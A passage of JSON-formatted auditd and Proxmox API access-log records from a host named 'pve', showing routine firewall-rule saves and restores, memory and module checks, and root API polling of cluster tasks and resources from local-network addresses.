/api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965835598,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.598:67316): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964223372,"@rawstring":"node=pve type=EXECVE msg=audit(1781964223.372:60104): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965845767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.767:67359): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64693 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585835,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.835:66241): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57bcd5ed7740 items=0 ppid=1156 pid=63620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964999704,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965835591,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.591:67315): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964223364,"@rawstring":"node=pve type=EXECVE msg=audit(1781964223.364:60101): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965845756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.756:67358): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.824:66240): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139c20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63620 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964997673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965835579,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.579:67314): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964219564,"@rawstring":"node=pve type=EXECVE msg=audit(1781964219.564:60098): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965845748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.748:67357): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.810:66239): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139680 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964997673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965835558,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.558:67313): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964219564,"@rawstring":"node=pve type=EXECVE msg=audit(1781964219.564:60097): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781965845744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.744:67356): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b22b1004740 items=0 ppid=1156 pid=64690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965585793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.793:66238): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fe70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964996664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965835547,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.547:67312): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964219562,"@rawstring":"node=pve type=EXECVE msg=audit(1781964219.562:60096): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781965845740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.740:67355): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc137f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.778:66237): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14adf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964996664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:35 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 845"} {"@timestamp":1781965835539,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.539:67310): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=EXECVE msg=audit(1781964218.356:60095): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965845734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.734:67354): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585756,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.756:66236): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fe70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964995658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835533,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.533:67309): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964218345,"@rawstring":"node=pve type=EXECVE msg=audit(1781964218.345:60092): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965845726,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.726:67353): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1354b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.734:66235): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb870ad70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964994654,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965835528,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.528:67308): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964215775,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.775:60089): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965845719,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.719:67352): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.699:66234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964994654,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835521,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.521:67307): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964215771,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.771:60088): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965845712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.712:67351): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.669:66233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964992640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965835515,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.515:67306): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964215770,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.770:60087): argc=1 a0=\"date\""} {"@timestamp":1781965845704,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.704:67350): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6b49fd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.661:66232): arch=c000003e syscall=59 success=yes exit=0 a0=5cf7481e3d70 a1=5cf7481eff40 a2=5cf7481bd680 a3=5 items=2 ppid=63606 pid=63612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964991632,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965835509,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.509:67305): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964215766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.766:60085): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965845696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.696:67349): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.652:66231): arch=c000003e syscall=59 success=yes exit=0 a0=5cf70e3adac8 a1=7fff4c48f710 a2=5cf7481bd680 a3=5cf70e39124e items=2 ppid=63606 pid=63608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964991632,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835503,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.503:67304): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215760,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.760:60084): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965845687,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.687:67348): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.648:66230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff4c48f6d0 a1=5cf7481df410 a2=5cf7481bd680 a3=5 items=2 ppid=63606 pid=63607 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964991632,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835496,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.496:67303): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215753,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.753:60083): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965845681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.681:67347): arch=c000003e syscall=59 success=yes exit=0 a0=55f8678260e0 a1=55f867822e60 a2=55f867804680 a3=5 items=2 ppid=64676 pid=64682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.643:66228): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63606 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964990625,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781965835492,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.492:67302): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964215746,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.746:60082): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965845677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.677:67346): arch=c000003e syscall=59 success=yes exit=0 a0=55f84ea3fac8 a1=7ffed647eb30 a2=55f867804680 a3=55f84ea2324e items=2 ppid=64676 pid=64678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.633:66227): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964988707,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965835488,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.488:67301): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215739,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.739:60081): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965845676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.676:67345): arch=c000003e syscall=59 success=yes exit=0 a0=7ffed647eaf0 a1=55f86780b310 a2=55f867804680 a3=5 items=2 ppid=64676 pid=64677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585626,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.626:66226): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964988707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965835487,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.487:67300): argc=1 a0=\"date\""} {"@timestamp":1781964215733,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.733:60079): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965845671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.671:67343): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1311b0 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64676 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.619:66225): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b110 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63603 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964987705,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835482,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.482:67298): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964215728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.728:60078): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965845663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.663:67342): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64675 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.608:66224): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fcdb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63602 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964987705,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:16:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965835474,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.474:67297): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215722,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.722:60077): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965845655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.655:67341): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64674 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965585.596:66223): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130430 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63601 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964985981,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:24 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781965835467,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.467:67296): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215716,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.716:60076): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965845649,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.649:67340): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b520b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965584.252:66222): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74175d0 a1=64f8d73c3c70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964984672,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:16:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965835462,"@rawstring":"node=pve type=EXECVE msg=audit(1781965835.462:67295): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964215712,"@rawstring":"node=pve type=EXECVE msg=audit(1781964215.712:60075): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965845639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965845.639:67339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965584229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965584.229:66221): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d734b9d0 a1=64f8d73d5500 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 